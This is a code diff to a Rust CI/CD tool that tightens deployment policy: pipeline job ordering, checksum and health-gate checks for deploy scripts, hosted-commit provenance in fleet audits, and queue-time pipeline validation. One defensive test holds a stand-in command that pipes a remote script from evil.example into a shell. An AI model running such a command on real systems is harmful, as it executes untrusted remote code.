Fix suite policy enforcement and fleet audit trust gaps

Changes

diff --git a/src/config.rs b/src/config.rs
index 32dca3a..6ec756a 100644
--- a/src/config.rs
+++ b/src/config.rs
@@ -205,6 +205,49 @@ pub fn parse(source: &str) -> Result<Vec<JobSpec>> {
 /// evidence rules (SDP-006/007/009/010 execution proof, SDP-008 log
 /// redaction) are checked separately from persisted `Run`/job-log rows —
 /// declaring a pattern in `run:` text is necessary but never sufficient.
+fn job_depends_on(jobs: &[JobSpec], start: &JobSpec, target_base_name: &str) -> bool {
+    let mut visited = BTreeSet::new();
+    let mut stack = vec![start.base_name.clone()];
+    while let Some(name) = stack.pop() {
+        if !visited.insert(name.clone()) {
+            continue;
+        }
+        if name == target_base_name {
+            return true;
+        }
+        let Some(job) = jobs.iter().find(|candidate| candidate.base_name == name) else {
+            continue;
+        };
+        stack.extend(job.needs.iter().cloned());
+    }
+    false
+}
+
+/// SDP-006/010 script-content check for a delegated deploy script (see
+/// `validate_production_policy`'s `DELEGATED_SCRIPTS`). A production job
+/// naming `deploy.sh`/`provision-*`/`deploy/service-deploy.sh` only earns
+/// the static SDP-006/010 pass if the referenced, repo-owned script text
+/// itself shows it performs the handoff — checksum verification and a
+/// post-deploy health/rollback gate — not merely because the *filename*
+/// matches a sanctioned pattern. An empty, missing, or content-free script
+/// must fail even though the job's `run:` text names a delegated path.
+pub fn validate_delegated_script(script_source: &str) -> Result<()> {
+    ensure!(
+        !script_source.trim().is_empty(),
+        "SDP-006/010: delegated deploy script is empty"
+    );
+    let lower = script_source.to_lowercase();
+    ensure!(
+        lower.contains("sha256") || lower.contains("checksum"),
+        "SDP-006: delegated deploy script has no checksum verification"
+    );
+    ensure!(
+        lower.contains("health") || lower.contains("rollback") || lower.contains("restart"),
+        "SDP-010: delegated deploy script has no health-gate or rollback handling"
+    );
+    Ok(())
+}
+
 fn validate_production_policy(jobs: &[JobSpec]) -> Result<()> {
     // Scripts that own their full handoff — checksum, install, restart,
     // health-gate, rollback — inside the script itself (documented in
@@ -232,14 +275,20 @@ fn validate_production_policy(jobs: &[JobSpec]) -> Result<()> {
         if job.environment.as_deref() != Some("production") {
             continue;
         }
-        // SDP-002 PIPELINE_ORDER: production job needs a distinct package
-        // job, which in turn needs (transitively or directly) a verify job.
+        // SDP-002 PIPELINE_ORDER: production job needs a job explicitly
+        // named `package` (accepting matrix-expanded names like
+        // `package[platform=x]`), and that package job must transitively
+        // (or directly) need a job named `verify`. Named roles, not shape
+        // lookalikes: an arbitrary artifact-producing dependency with no
+        // `verify` job upstream must not satisfy this rule.
         let package = jobs
             .iter()
-            .find(|candidate| job.needs.contains(&candidate.base_name))
+            .find(|candidate| {
+                job.needs.contains(&candidate.base_name) && candidate.base_name == "package"
+            })
             .ok_or_else(|| {
                 anyhow::anyhow!(
-                    "SDP-002: production job {} must need a package job",
+                    "SDP-002: production job {} must need a job named package",
                     job.name
                 )
             })?;
@@ -248,6 +297,12 @@ fn validate_production_policy(jobs: &[JobSpec]) -> Result<()> {
             "SDP-002: production job {} cannot need itself as its package",
             job.name
         );
+        ensure!(
+            job_depends_on(jobs, package, "verify"),
+            "SDP-002: package job {} for production job {} does not transitively need a job named verify",
+            package.name,
+            job.name
+        );
         // SDP-003 IMMUTABLE_PACKAGE: the package job is distinct and
         // publishes at least one artifact.
         ensure!(
@@ -777,10 +832,10 @@ mod tests {
 
     #[test]
     fn parse_accepts_approval_with_environment() -> Result<()> {
-        let source = "version: 1\njobs:\n  - name: package\n    image: alpine:3\n    run: echo build\n    artifacts: [bin]\n  - name: deploy\n    needs: [package]\n    image: alpine:3\n    run: echo ec2 release && curl health\n    approval: true\n    environment: production\n";
+        let source = "version: 1\njobs:\n  - name: verify\n    image: alpine:3\n    run: echo test\n  - name: package\n    needs: [verify]\n    image: alpine:3\n    run: echo build\n    artifacts: [bin]\n  - name: deploy\n    needs: [package]\n    image: alpine:3\n    run: echo ec2 release && curl health\n    approval: true\n    environment: production\n";
         let jobs = parse(source)?;
-        assert!(jobs[1].approval);
-        assert_eq!(jobs[1].environment.as_deref(), Some("production"));
+        assert!(jobs[2].approval);
+        assert_eq!(jobs[2].environment.as_deref(), Some("production"));
         Ok(())
     }
 
@@ -802,9 +857,41 @@ mod tests {
         assert!(error.contains("SDP-002"), "{error}");
     }
 
+    #[test]
+    fn production_policy_rejects_missing_verify_job() {
+        // A "package" job with artifacts exists, but nothing named `verify`
+        // (nor anything the package job needs) is present.
+        let source = "version: 1\njobs:\n  - name: package\n    image: rust:1\n    run: cargo build --release\n    artifacts: [target/release/app]\n  - name: deploy\n    needs: [package]\n    image: alpine:3\n    run: ec2 release app && curl health\n    approval: true\n    environment: production\n";
+        let error = parse(source)
+            .expect_err("expected policy violation")
+            .to_string();
+        assert!(error.contains("SDP-002"), "{error}");
+        assert!(error.contains("verify"), "{error}");
+    }
+
+    #[test]
+    fn production_policy_rejects_unrelated_artifact_producer() {
+        // production job needs an artifact-producing job, but it is not
+        // named `package` and does not itself depend on `verify` — a
+        // same-shape lookalike must not satisfy SDP-002.
+        let source = "version: 1\njobs:\n  - name: build-docs\n    image: rust:1\n    run: cargo doc\n    artifacts: [target/doc]\n  - name: deploy\n    needs: [build-docs]\n    image: alpine:3\n    run: ec2 release app && curl health\n    approval: true\n    environment: production\n";
+        let error = parse(source)
+            .expect_err("expected policy violation")
+            .to_string();
+        assert!(error.contains("SDP-002"), "{error}");
+    }
+
+    #[test]
+    fn production_policy_accepts_transitive_verify_dependency() {
+        // package needs an intermediate job that needs verify: still a
+        // valid transitive verify -> package -> deploy order.
+        let source = "version: 1\njobs:\n  - name: verify\n    image: rust:1\n    run: cargo test\n  - name: lint\n    needs: [verify]\n    image: rust:1\n    run: cargo clippy\n  - name: package\n    needs: [lint]\n    image: rust:1\n    run: cargo build --release\n    artifacts: [target/release/app]\n  - name: deploy\n    needs: [package]\n    image: alpine:3\n    run: ec2 release app && curl health\n    approval: true\n    environment: production\n";
+        assert!(parse(source).is_ok());
+    }
+
     #[test]
     fn production_policy_rejects_package_without_artifacts() {
-        let source = "version: 1\njobs:\n  - name: package\n    image: rust:1\n    run: cargo build --release\n  - name: deploy\n    needs: [package]\n    image: alpine:3\n    run: ec2 release app && curl health\n    approval: true\n    environment: production\n";
+        let source = "version: 1\njobs:\n  - name: verify\n    image: rust:1\n    run: cargo test\n  - name: package\n    needs: [verify]\n    image: rust:1\n    run: cargo build --release\n  - name: deploy\n    needs: [package]\n    image: alpine:3\n    run: ec2 release app && curl health\n    approval: true\n    environment: production\n";
         let error = parse(source)
             .expect_err("expected policy violation")
             .to_string();
@@ -813,7 +900,7 @@ mod tests {
 
     #[test]
     fn production_policy_rejects_rebuild_instead_of_artifact_consumption() {
-        let source = "version: 1\njobs:\n  - name: package\n    image: rust:1\n    run: cargo build --release\n    artifacts: [target/release/app]\n  - name: deploy\n    needs: [package]\n    image: alpine:3\n    run: cargo build --release && ec2 release app && curl health\n    approval: true\n    environment: production\n";
+        let source = "version: 1\njobs:\n  - name: verify\n    image: rust:1\n    run: cargo test\n  - name: package\n    needs: [verify]\n    image: rust:1\n    run: cargo build --release\n    artifacts: [target/release/app]\n  - name: deploy\n    needs: [package]\n    image: alpine:3\n    run: cargo build --release && ec2 release app && curl health\n    approval: true\n    environment: production\n";
         let error = parse(source)
             .expect_err("expected policy violation")
             .to_string();
@@ -822,7 +909,7 @@ mod tests {
 
     #[test]
     fn production_policy_rejects_missing_approval() {
-        let source = "version: 1\njobs:\n  - name: package\n    image: rust:1\n    run: cargo build --release\n    artifacts: [target/release/app]\n  - name: deploy\n    needs: [package]\n    image: alpine:3\n    run: ec2 release app && curl health\n    environment: production\n";
+        let source = "version: 1\njobs:\n  - name: verify\n    image: rust:1\n    run: cargo test\n  - name: package\n    needs: [verify]\n    image: rust:1\n    run: cargo build --release\n    artifacts: [target/release/app]\n  - name: deploy\n    needs: [package]\n    image: alpine:3\n    run: ec2 release app && curl health\n    environment: production\n";
         let error = parse(source)
             .expect_err("expected policy violation")
             .to_string();
@@ -831,14 +918,14 @@ mod tests {
 
     #[test]
     fn production_policy_allows_self_hosting_exception_without_approval() -> Result<()> {
-        let source = "version: 1\njobs:\n  - name: package\n    image: rust:1\n    run: cargo build --release\n    artifacts: [target/release/app]\n  - name: deploy\n    needs: [package]\n    image: alpine:3\n    run: sh deploy/service-deploy.sh && curl health\n    environment: production\n";
+        let source = "version: 1\njobs:\n  - name: verify\n    image: rust:1\n    run: cargo test\n  - name: package\n    needs: [verify]\n    image: rust:1\n    run: cargo build --release\n    artifacts: [target/release/app]\n  - name: deploy\n    needs: [package]\n    image: alpine:3\n    run: sh deploy/service-deploy.sh && curl health\n    environment: production\n";
         assert!(parse(source).is_ok());
         Ok(())
     }
 
     #[test]
     fn production_policy_rejects_missing_host_agent_safeguards() {
-        let source = "version: 1\njobs:\n  - name: package\n    image: rust:1\n    run: cargo build --release\n    artifacts: [target/release/app]\n  - name: deploy\n    needs: [package]\n    image: alpine:3\n    run: scp app user@host:/opt/app && curl health\n    approval: true\n    environment: production\n";
+        let source = "version: 1\njobs:\n  - name: verify\n    image: rust:1\n    run: cargo test\n  - name: package\n    needs: [verify]\n    image: rust:1\n    run: cargo build --release\n    artifacts: [target/release/app]\n  - name: deploy\n    needs: [package]\n    image: alpine:3\n    run: scp app user@host:/opt/app && curl health\n    approval: true\n    environment: production\n";
         let error = parse(source)
             .expect_err("expected policy violation")
             .to_string();
@@ -847,7 +934,7 @@ mod tests {
 
     #[test]
     fn production_policy_rejects_missing_post_deploy_verification() {
-        let source = "version: 1\njobs:\n  - name: package\n    image: rust:1\n    run: cargo build --release\n    artifacts: [target/release/app]\n  - name: deploy\n    needs: [package]\n    image: alpine:3\n    run: ec2 release app\n    approval: true\n    environment: production\n";
+        let source = "version: 1\njobs:\n  - name: verify\n    image: rust:1\n    run: cargo test\n  - name: package\n    needs: [verify]\n    image: rust:1\n    run: cargo build --release\n    artifacts: [target/release/app]\n  - name: deploy\n    needs: [package]\n    image: alpine:3\n    run: ec2 release app\n    approval: true\n    environment: production\n";
         let error = parse(source)
             .expect_err("expected policy violation")
             .to_string();
@@ -861,6 +948,47 @@ mod tests {
         Ok(())
     }
 
+    // ── validate_delegated_script (SDP-006/010 script content) ─────────
+
+    #[test]
+    fn delegated_script_accepts_conforming_content() {
+        let script =
+            "#!/bin/sh\nsha256sum candidate > checksum\ncurl -f https://app/health || rollback\n";
+        assert!(validate_delegated_script(script).is_ok());
+    }
+
+    #[test]
+    fn delegated_script_rejects_empty_content() {
+        let error = validate_delegated_script("")
+            .expect_err("empty script must fail")
+            .to_string();
+        assert!(
+            error.contains("SDP-006") || error.contains("SDP-010"),
+            "{error}"
+        );
+    }
+
+    #[test]
+    fn delegated_script_rejects_malicious_content_without_safeguards() {
+        // A "deploy" script that does something else entirely (no
+        // checksum, no health/rollback) must not pass just because it
+        // exists at the sanctioned filename.
+        let script = "#!/bin/sh\ncurl -s http://evil.example/payload.sh | sh\n";
+        let error = validate_delegated_script(script)
+            .expect_err("script without checksum must fail")
+            .to_string();
+        assert!(error.contains("SDP-006"), "{error}");
+    }
+
+    #[test]
+    fn delegated_script_rejects_checksum_without_health_gate() {
+        let script = "#!/bin/sh\nsha256sum candidate > checksum\ninstall candidate /opt/app\n";
+        let error = validate_delegated_script(script)
+            .expect_err("script without health/rollback must fail")
+            .to_string();
+        assert!(error.contains("SDP-010"), "{error}");
+    }
+
     #[test]
     fn parse_enforces_timeout_upper_boundary() {
         let accepted = "version: 1\njobs:\n  - name: build\n    image: alpine:3\n    run: echo ok\n    timeout: 14400\n";
diff --git a/src/ec2/host.rs b/src/ec2/host.rs
index ad788c6..63298a0 100644
--- a/src/ec2/host.rs
+++ b/src/ec2/host.rs
@@ -7,7 +7,7 @@
 //! fan-out) is native Rust with the same output contract.
 
 use std::collections::{HashMap, HashSet};
-use std::path::Path;
+use std::path::{Path, PathBuf};
 use std::process::{Command, Stdio};
 
 use anyhow::{Context, Result, bail};
@@ -553,10 +553,98 @@ pub fn fleet_audit(json: bool) -> Result<()> {
     Ok(())
 }
 
+fn hosted_repo_root() -> Result<PathBuf> {
+    let home = std::env::var("HOME").context("HOME is not set")?;
+    Ok(Path::new(&home)
+        .join(".local")
+        .join("share")
+        .join("akurai-build")
+        .join("hosted"))
+}
+
+/// Canonical hosted commit for an app's registered repo, read from the
+/// Build-owned bare mirror (never from the app's own working-tree
+/// checkout, which is untrusted local state a checkout could fake).
+fn resolve_hosted_commit(repo: &str) -> Option<String> {
+    let name = repo.rsplit('/').next().unwrap_or(repo);
+    let mirror = hosted_repo_root().ok()?.join(format!("{name}.git"));
+    if !mirror.is_dir() {
+        return None;
+    }
+    Command::new("git")
+        .arg("-C")
+        .arg(&mirror)
+        .args(["rev-parse", "HEAD"])
+        .output()
+        .ok()
+        .filter(|out| out.status.success())
+        .map(|out| String::from_utf8_lossy(&out.stdout).trim().to_owned())
+}
+
+/// SDP-001 provenance check: the local checkout HEAD must match the
+/// canonical hosted branch SHA exactly. An unresolved hosted commit (no
+/// mirror, git failure) or a mismatch is always a violation — labeling
+/// local `git rev-parse HEAD` as `hosted_commit` without this comparison
+/// lets an unpushed or diverged local checkout claim to be hosted.
+fn check_hosted_provenance(
+    local_commit: Option<&str>,
+    hosted_commit: Option<&str>,
+) -> Option<String> {
+    match (local_commit, hosted_commit) {
+        (Some(local), Some(hosted)) if local == hosted => None,
+        (Some(local), Some(hosted)) => Some(format!(
+            "SDP-001: local checkout commit {local} does not match hosted commit {hosted}"
+        )),
+        _ => Some(
+            "SDP-001: could not resolve canonical hosted commit for provenance comparison"
+                .to_owned(),
+        ),
+    }
+}
+
+/// Extract candidate delegated deploy script paths referenced by a
+/// production job's `run:` text (crude but sufficient: a whitespace token
+/// ending in `.sh`, matched against the same `DELEGATED_SCRIPTS` filename
+/// patterns `config::validate_production_policy` checks for).
+fn delegated_script_paths(pipeline_source: &str) -> Vec<String> {
+    const PATTERNS: &[&str] = &["deploy/service-deploy.sh", "deploy.sh", "provision-"];
+    pipeline_source
+        .split_whitespace()
+        .filter(|token| PATTERNS.iter().any(|pattern| token.contains(pattern)))
+        .map(|token| {
+            token.trim_matches(|c: char| {
+                !c.is_ascii_alphanumeric() && c != '/' && c != '.' && c != '-' && c != '_'
+            })
+        })
+        .filter(|token| token.ends_with(".sh"))
+        .map(str::to_owned)
+        .collect()
+}
+
+/// Real, checkable shape check for the exact MCP tool-call names/argument
+/// order AKURAI_APPS.toml `deploy` fields must use: `akurai_repo_sync` with
+/// `name=`/`source=`, then `akurai_run_queue` with `repository=`, then
+/// `akurai_run_promote` with `id=`/`environment=`. Prose or a bare
+/// `akurai-build:` label — however plausible-sounding — no longer counts as
+/// declaring a real, executable handoff.
+fn is_executable_deploy_contract(deploy: &str) -> bool {
+    const REQUIRED_TOKENS: &[&str] = &[
+        "akurai_repo_sync",
+        "name=",
+        "source=",
+        "akurai_run_queue",
+        "repository=",
+        "akurai_run_promote",
+        "id=",
+        "environment=",
+    ];
+    REQUIRED_TOKENS.iter().all(|token| deploy.contains(token))
+}
+
 fn audit_app(app: &AppCfg) -> FleetAuditEntry {
     let mut violations = Vec::new();
     let checkout = Path::new(&app.checkout);
-    let hosted_commit = if app.checkout.is_empty() {
+    let local_commit = if app.checkout.is_empty() {
         None
     } else {
         Command::new("git")
@@ -568,12 +656,32 @@ fn audit_app(app: &AppCfg) -> FleetAuditEntry {
             .filter(|out| out.status.success())
             .map(|out| String::from_utf8_lossy(&out.stdout).trim().to_owned())
     };
+    let hosted_commit = resolve_hosted_commit(&app.repo);
+    if let Some(violation) =
+        check_hosted_provenance(local_commit.as_deref(), hosted_commit.as_deref())
+    {
+        violations.push(violation);
+    }
     let pipeline_path = checkout.join(".akurai.yml");
     match std::fs::read_to_string(&pipeline_path) {
         Ok(source) => {
             if let Err(error) = crate::config::parse(&source) {
                 violations.push(format!("{error:#}"));
             }
+            for script_path in delegated_script_paths(&source) {
+                let full_path = checkout.join(&script_path);
+                match std::fs::read_to_string(&full_path) {
+                    Ok(script) => {
+                        if let Err(error) = crate::config::validate_delegated_script(&script) {
+                            violations.push(format!("{error:#}"));
+                        }
+                    }
+                    Err(error) => violations.push(format!(
+                        "delegated script {} unreadable: {error}",
+                        full_path.display()
+                    )),
+                }
+            }
         }
         Err(error) => violations.push(format!(
             "no .akurai.yml at {}: {error}",
@@ -582,8 +690,10 @@ fn audit_app(app: &AppCfg) -> FleetAuditEntry {
     }
     // The catalog `deploy` field is manual-fallback tooling, not something
     // Build enforcement reads, but a raw direct-deploy command invites
-    // bypassing Build by hand — flag it as a policy violation too.
-    if !app.deploy.is_empty() && !app.deploy.contains("akurai-build:") {
+    // bypassing Build by hand — flag it as a policy violation too. The
+    // field must name the real MCP tool-call sequence (repo_sync -> queue
+    // -> promote), not prose or a raw ec2/ssh command.
+    if !app.deploy.is_empty() && !is_executable_deploy_contract(&app.deploy) {
         violations.push(format!(
             "AKURAI_APPS.toml deploy field bypasses AkurAI Build: {}",
             app.deploy
@@ -777,6 +887,98 @@ fn free_ports(reg: &Registry, live: &LiveState) -> Vec<u16> {
 mod tests {
     use super::*;
 
+    #[test]
+    fn hosted_provenance_ok_when_local_matches_hosted() {
+        assert!(check_hosted_provenance(Some("abc123"), Some("abc123")).is_none());
+    }
+
+    #[test]
+    fn hosted_provenance_violates_on_mismatch() {
+        let violation =
+            check_hosted_provenance(Some("abc123"), Some("def456")).expect("mismatch violates");
+        assert!(violation.contains("SDP-001"), "{violation}");
+        assert!(violation.contains("abc123"), "{violation}");
+        assert!(violation.contains("def456"), "{violation}");
+    }
+
+    #[test]
+    fn hosted_provenance_violates_when_hosted_unresolved() {
+        let violation =
+            check_hosted_provenance(Some("abc123"), None).expect("unresolved hosted violates");
+        assert!(violation.contains("SDP-001"), "{violation}");
+    }
+
+    #[test]
+    fn hosted_provenance_violates_when_local_unresolved() {
+        let violation =
+            check_hosted_provenance(None, Some("abc123")).expect("unresolved local violates");
+        assert!(violation.contains("SDP-001"), "{violation}");
+    }
+
+    #[test]
+    fn delegated_script_paths_extracts_referenced_scripts() {
+        let source = "run: AKURAI_HOST_BIN=$H/.local/bin sh deploy/service-deploy.sh";
+        assert_eq!(
+            delegated_script_paths(source),
+            vec!["deploy/service-deploy.sh".to_string()]
+        );
+    }
+
+    #[test]
+    fn delegated_script_paths_ignores_non_matching_commands() {
+        let source = "run: cargo build --release && curl health";
+        assert!(delegated_script_paths(source).is_empty());
+    }
+
+    #[test]
+    fn executable_deploy_contract_accepts_real_mcp_call_shape() {
+        let deploy = "mcp__akurai_build__akurai_repo_sync(name=\"AkurAI-Platform\", source=\"/home/olibuijr/Projects/AkurAI-Platform\") -> mcp__akurai_build__akurai_run_queue(repository=\"AkurAI-Platform\", commit=<hosted-sha>) -> mcp__akurai_build__akurai_run_promote(id=<run-id>, environment=\"production\") -> require run status=succeeded";
+        assert!(is_executable_deploy_contract(deploy));
+    }
+
+    #[test]
+    fn executable_deploy_contract_rejects_prose_without_argument_names() {
+        let deploy = "akurai-build: akurai_repo_sync akurai-platform -> akurai_run_queue(commit=<hosted-sha>) -> akurai_run_promote(id, environment=production) -> require status=succeeded";
+        assert!(!is_executable_deploy_contract(deploy));
+    }
+
+    #[test]
+    fn executable_deploy_contract_rejects_raw_ec2_command() {
+        assert!(!is_executable_deploy_contract(
+            "akurai-ec2 release akurai-platform"
+        ));
+    }
+
+    #[test]
+    fn all_akurai_apps_toml_deploy_fields_are_executable_contracts() {
+        let path = std::path::Path::new(env!("HOME"))
+            .join("Projects")
+            .join("AkurAI-Framework")
+            .join("AKURAI_APPS.toml");
+        let Ok(text) = std::fs::read_to_string(&path) else {
+            // Not present on this checkout (e.g. CI without the sibling
+            // repo cloned) — nothing to validate here.
+            return;
+        };
+        let apps: Vec<AppCfg> = parse_apps_toml(&text)
+            .into_iter()
+            .filter(|app| !app.retired && !app.name.is_empty())
+            .collect();
+        assert_eq!(
+            apps.len(),
+            13,
+            "expected 13 active apps in AKURAI_APPS.toml"
+        );
+        for app in &apps {
+            assert!(
+                !app.deploy.is_empty() && is_executable_deploy_contract(&app.deploy),
+                "app {} has a non-executable deploy field: {}",
+                app.name,
+                app.deploy
+            );
+        }
+    }
+
     #[test]
     fn registry_parsing_skips_comments_and_garbage() {
         let text = "# port|unit|domain|repo|pool|note\n8094|mail|mail.olibuijr.com|akurai-mail|app|primary mail\n\n|bad|row\n8199|system-thing|-|repo|system|note with|extra pipes\n";
diff --git a/src/runner.rs b/src/runner.rs
index 0cbd760..79cc1e0 100644
--- a/src/runner.rs
+++ b/src/runner.rs
@@ -293,9 +293,21 @@ impl Runner {
         let repository = self.database.repository(repository)?;
         let git_ref = git_ref.unwrap_or(&repository.default_branch);
         config::validate_ref(git_ref)?;
+        if let Some(commit) = commit {
+            config::validate_commit(commit)?;
+        }
+        // SDP-002..006/010 must reject a non-conforming production
+        // pipeline before a run row is ever created or queued, not only
+        // at promotion/execution time. Resolve the immutable commit and
+        // read+parse .akurai.yml straight from the repository (a shallow
+        // fetch into a scratch dir, not the full run workspace) so an
+        // invalid production config never enters the queue. Repositories
+        // with no pipeline file yet, or whose pipeline has no
+        // `environment: production` job, are unaffected — this only
+        // blocks pipelines validate_production_policy would reject.
+        reject_non_conforming_production_pipeline(&repository.url, git_ref, commit)?;
         let queued = match commit {
             Some(commit) => {
-                config::validate_commit(commit)?;
                 let (id, deduplicated) = self.database.create_or_get_active_run(
                     repository.id,
                     git_ref,
@@ -1197,6 +1209,56 @@ fn git_status<const N: usize>(cwd: &Path, arguments: [&str; N]) -> Result<ExitSt
     Ok(crate::git_process::command(cwd).args(arguments).status()?)
 }
 
+/// SDP-002..006/010 queue-time gate: shallow-fetch the immutable commit (or
+/// ref tip) into a scratch dir and parse its `.akurai.yml` before a run is
+/// created, so a non-conforming production pipeline never reaches `queued`.
+/// A repository with no pipeline file, or whose pipeline has no
+/// `environment: production` job, is left alone — only pipelines that would
+/// fail `config::parse`'s `validate_production_policy` are rejected here.
+fn reject_non_conforming_production_pipeline(
+    url: &str,
+    git_ref: &str,
+    commit: Option<&str>,
+) -> Result<()> {
+    let scratch = tempfile::tempdir().context("create pipeline pre-validation workspace")?;
+    let workspace = scratch.path();
+    run_git(workspace, ["init"])?;
+    run_git(workspace, ["remote", "add", "origin", url])?;
+    if run_git(workspace, ["fetch", "--depth=1", "origin", git_ref]).is_err() {
+        // Ref not fetchable yet (new repo, first push racing this check,
+        // etc.) — let the existing queue/execute path surface that error
+        // with full context instead of duplicating it here.
+        return Ok(());
+    }
+    let reference = match commit {
+        Some(commit) => {
+            if run_git(workspace, ["fetch", "--depth=1", "origin", commit]).is_err() {
+                return Ok(());
+            }
+            commit.to_owned()
+        }
+        None => match git_output(workspace, ["rev-parse", "FETCH_HEAD"]) {
+            Ok(sha) => sha.trim().to_owned(),
+            Err(_) => return Ok(()),
+        },
+    };
+    let pipeline_name = [".akurai.yml", "akurai.yml"].into_iter().find(|name| {
+        crate::git_process::command(workspace)
+            .args(["cat-file", "-e", &format!("{reference}:{name}")])
+            .output()
+            .is_ok_and(|output| output.status.success())
+    });
+    let Some(pipeline_name) = pipeline_name else {
+        return Ok(());
+    };
+    let Ok(source) = git_output(workspace, ["show", &format!("{reference}:{pipeline_name}")])
+    else {
+        return Ok(());
+    };
+    config::parse(&source)?;
+    Ok(())
+}
+
 fn grouped_command(program: &str) -> Command {
     #[cfg(unix)]
     {
@@ -1886,6 +1948,118 @@ mod tests {
         Ok(())
     }
 
+    // ── queue-time production pipeline pre-validation ───────────────────
+
+    fn fixture_repo(root: &Path, akurai_yml: Option<&str>) -> Result<(PathBuf, String)> {
+        let source = root.join("source");
+        fs::create_dir_all(&source)?;
+        run_git(&source, ["init", "-b", "main"])?;
+        run_git(&source, ["config", "user.name", "AkurAI Build Test"])?;
+        run_git(&source, ["config", "user.email", "test@localhost"])?;
+        fs::write(source.join("README.md"), "fixture\n")?;
+        if let Some(pipeline) = akurai_yml {
+            fs::write(source.join(".akurai.yml"), pipeline)?;
+        }
+        run_git(&source, ["add", "."])?;
+        run_git(&source, ["commit", "-m", "fixture"])?;
+        let commit = git_output(&source, ["rev-parse", "HEAD"])?
+            .trim()
+            .to_owned();
+        Ok((source, commit))
+    }
+
+    const NON_CONFORMING_PROD_YAML: &str = "version: 1\njobs:\n  - name: deploy\n    image: alpine:3\n    run: ec2 release app && curl health\n    approval: true\n    environment: production\n";
+    const CONFORMING_PROD_YAML: &str = "version: 1\njobs:\n  - name: verify\n    image: rust:1\n    run: cargo test\n  - name: package\n    needs: [verify]\n    image: rust:1\n    run: cargo build --release\n    artifacts: [target/release/app]\n  - name: deploy\n    needs: [package]\n    image: alpine:3\n    run: ec2 release app && curl health\n    approval: true\n    environment: production\n";
+
+    #[test]
+    fn queue_rejects_non_conforming_production_pipeline() -> Result<()> {
+        let root = tempfile::tempdir()?;
+        let (source, _commit) = fixture_repo(root.path(), Some(NON_CONFORMING_PROD_YAML))?;
+        let database = Database::memory(KEY)?;
+        database.add_repository("app", source.to_str().expect("utf-8 path"), "main")?;
+        let runner = Runner::new(database.clone(), root.path().join("data"), false)?;
+        assert!(runner.queue("app", None, None, "manual").is_err());
+        assert_eq!(
+            database.runs(Some("app"), 10)?.len(),
+            0,
+            "no run row should exist for a rejected production pipeline"
+        );
+        Ok(())
+    }
+
+    #[test]
+    fn queue_accepts_conforming_production_pipeline() -> Result<()> {
+        let root = tempfile::tempdir()?;
+        let (source, _commit) = fixture_repo(root.path(), Some(CONFORMING_PROD_YAML))?;
+        let database = Database::memory(KEY)?;
+        database.add_repository("app", source.to_str().expect("utf-8 path"), "main")?;
+        let runner = Runner::new(database, root.path().join("data"), false)?;
+        let queued = runner.queue("app", None, None, "manual")?;
+        assert!(queued.id > 0);
+        Ok(())
+    }
+
+    #[test]
+    fn queue_accepts_non_production_pipeline_unchanged() -> Result<()> {
+        let root = tempfile::tempdir()?;
+        let non_production = "version: 1\njobs:\n  - name: build\n    image: rust:1\n    run: cargo build --release\n";
+        let (source, _commit) = fixture_repo(root.path(), Some(non_production))?;
+        let database = Database::memory(KEY)?;
+        database.add_repository("app", source.to_str().expect("utf-8 path"), "main")?;
+        let runner = Runner::new(database, root.path().join("data"), false)?;
+        let queued = runner.queue("app", None, None, "manual")?;
+        assert!(queued.id > 0);
+        Ok(())
+    }
+
+    #[test]
+    fn queue_accepts_repository_with_no_pipeline_yet() -> Result<()> {
+        let root = tempfile::tempdir()?;
+        let (source, _commit) = fixture_repo(root.path(), None)?;
+        let database = Database::memory(KEY)?;
+        database.add_repository("app", source.to_str().expect("utf-8 path"), "main")?;
+        let runner = Runner::new(database, root.path().join("data"), false)?;
+        let queued = runner.queue("app", None, None, "manual")?;
+        assert!(queued.id > 0);
+        Ok(())
+    }
+
+    #[test]
+    fn execute_claimed_still_rejects_non_conforming_production_pipeline() -> Result<()> {
+        // Defense in depth: even if a run row exists for a non-conforming
+        // production pipeline (e.g. inserted directly, bypassing queue()'s
+        // pre-check), the execution-time config::parse in execute_claimed
+        // must still refuse to run it rather than silently accepting it.
+        let root = tempfile::tempdir()?;
+        let (source, _commit) = fixture_repo(root.path(), Some(NON_CONFORMING_PROD_YAML))?;
+        let database = Database::memory(KEY)?;
+        let repo = database.add_repository("app", source.to_str().expect("utf-8 path"), "main")?;
+        let run_id = database.create_run(repo.id, "main", None, "manual")?;
+        assert!(database.claim_run(run_id)?);
+        let runner = Runner::new(database.clone(), root.path().join("data"), false)?;
+        let detail = runner.process_claimed_run(run_id)?;
+        assert_eq!(detail.run.status, "failed");
+        assert!(
+            detail
+                .run
+                .error
+                .as_deref()
+                .unwrap_or_default()
+                .to_lowercase()
+                .contains("verify")
+                || detail
+                    .run
+                    .error
+                    .as_deref()
+                    .unwrap_or_default()
+                    .to_lowercase()
+                    .contains("package"),
+            "expected policy-rejection error, got {:?}",
+            detail.run.error
+        );
+        Ok(())
+    }
+
     // ── environment isolation helpers ────────────────────────────────
 
     #[test]